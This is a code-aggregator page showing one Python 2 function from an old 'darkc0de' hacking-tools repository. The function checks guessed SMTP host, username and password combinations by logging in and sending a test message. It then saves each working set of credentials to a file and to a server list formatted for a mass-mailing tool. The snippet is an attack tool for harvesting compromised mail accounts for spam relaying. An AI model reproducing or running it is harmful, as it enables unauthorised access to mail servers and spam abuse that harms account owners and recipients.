darkSMTPv.py 文件源码

python
阅读 29 收藏 0 点赞 0 评论 0

项目:darkc0de-old-stuff 作者: tuwid 项目源码 文件源码
def sendchk(listindex, host, user, password):   # seperated function for checking
    try:
        smtp = smtplib.SMTP(host)
        smtp.login(user, password)
        code = smtp.ehlo()[0]
        if not (200 <= code <= 299):
            code = smtp.helo()[0]
            if not (200 <= code <= 299):
                raise SMTPHeloError(code, resp)
        smtp.sendmail(fromaddr, toaddr, message)
        print "\n\t[!] Email Sent Successfully:",host, user, password
        print "\t[!] Message Sent Successfully\n"
        LSstring = host+":"+user+":"+password+"\n"
        nList.append(LSstring)      # special list for AMS file ID's
        LFile = open(output, "a")
        LFile.write(LSstring)       # save working host/usr/pass to file
        LFile.close()
        AMSout = open("AMSlist.txt", "a")
        AMSout.write("[Server"+str(nList.index(LSstring))+"]\nName="+str(host)+"\nPort=25\nUserID=User\nBccSize=50\nUserName="+str(user)+"\nPassword="+str(password)+"\nAuthType=0\n\n")
        smtp.quit()
    except(socket.gaierror, socket.error, socket.herror, smtplib.SMTPException), msg:
        print "[-] Login Failed:", host, user, password
        pass
评论列表
文章目录


问题


面经


文章

微信
公众号

扫码关注公众号